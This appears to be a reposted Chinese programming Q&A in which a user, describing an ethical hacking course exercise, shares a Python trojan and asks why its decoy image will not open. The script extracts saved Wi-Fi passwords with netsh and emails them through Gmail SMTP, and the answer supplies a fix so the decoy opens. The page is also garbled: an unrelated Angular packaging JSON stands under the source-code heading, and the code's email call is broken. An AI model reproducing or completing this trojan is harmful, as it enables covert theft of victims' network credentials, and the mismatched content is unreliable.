微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

无法使用Subprocess.Popen打开文件

如何解决无法使用Subprocess.Popen打开文件

我正尝试在https://phoenyxacademy.com的道德黑客课程中创建基于Python 3的木马。因此,这是一个基本的特洛伊木马程序,它将打开表面上的图片,但会提取并将wifi密码发送给电子邮件。但是在将python脚本与pyinstaller打包并运行生成的exe之后,我得到了一个错误

Error Generated

Python源代码

{
  "$schema": "../../node_modules/ng-packagr/ng-package.schema.json","dest": "../../dist/my-lib-name","lib": {
    "entryFile": "src/public-api.ts","styleIncludePaths": ["node_modules"]
  }
}

我使用pyinstaller命令:

#!/usr/bin/env python3

# A program to steal wifi passwords and send to our e-mail


# import modules
import subprocess
import re
import smtplib
import sys
import tempfile


def retrieve_wifi_passwords():
    system_command = 'netsh wlan show profile'
    access_points = subprocess.check_output(system_command,shell=True,stderr=subprocess.DEVNULL,stdin=subprocess.DEVNULL)
    access_point_list = re.findall("(?:Profile\s*:\s)(.*)",access_points.decode()) 
    
    profile_result = ""
    for access_point in access_point_list:
        system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
        result = subprocess.check_output(system_command,shell=True)
        result = result.decode()
        profile_result += result
    
    return profile_result   


def send_mail(email,password,message):
    server = smtplib.SMTP_SSL('smtp.gmail.com',465)
    server.login(email,password)
    server.sendmail(email,email,message)
    server.quit()

# to run after embedding it with a file
temp_directory = tempfile.gettempdir()

file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name,shell=True)

email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email,profile_result)

解决方法

您可以使用cmd exe来完成此工作。尝试

subprocess.Popen(["cmd","/C","start " + file_name],shell=True)

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。